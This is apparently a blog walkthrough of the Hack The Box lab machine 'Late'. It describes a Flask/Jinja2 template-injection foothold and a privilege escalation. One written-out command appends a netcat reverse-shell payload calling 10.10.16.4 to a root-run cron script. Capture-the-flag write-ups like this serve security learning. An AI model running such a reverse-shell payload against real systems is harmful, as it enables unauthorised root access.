Posts Late HTB Walkthrough
Post
Cancel

Late HTB Walkthrough

Machine Info

  • OS: Linux
  • Difficulty: Easy
  • Points: 20
  • Release: 23 Apr 2022
  • IP: 10.10.11.156

Network Scanning

We have only two open ports http:80 and ssh:22

1
nmap -p- -A  10.10.11.156

nmap

Enumeration

While checking the webpage, we notice that we have domain “late.htb” and sub-domain “images.late.htb”. Add them to /etc/hosts file.

1
2
gedit /etc/hosts
10.10.11.156	late.htb images.late.htb

late.htb hosts

Nothing interested at “late.htb”. At “images.late.htb”, we have a webpage with an upload feature implemented with flask framework.

images.late.htb

Since this webapp use flask, maybe it is vulnerable to “Server Side Tempelate Injection-SSTI”. As here SSTI, we identified that “jinja2” is used as template engine and it is vulnerable to SSTI.

To convert text to image this website cloudconvert is helpfull.

test_file cloudconvert vulnerable

Exploitation

Now it is time to exploit. This article explains how to exploit SSTI to RCE SSTI in Flask/Jinja2.

payload payload_result

There is a “svc_acc” user. let’s get its ssh private key and login.

payload2 priv_key

Here is the user flag.

priv_key

Privilege Escalation

Using “linpeas” and “pspy64”, we notice that there is a script called “ssh-alert.sh” with a write permission. This script is originally owned to root and running by cron periodically. The script is sending an alert to root whenever a ssh login occured.

linpeas pspy64 script

Since we have a write permission to that script, we can append a mallicious payload to get a reverse shell as root.

1
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 9999 >/tmp/f' >> ssh-alert.sh; ssh localhost "exit"

rev root

This post is licensed under CC BY 4.0 by the author.
Contents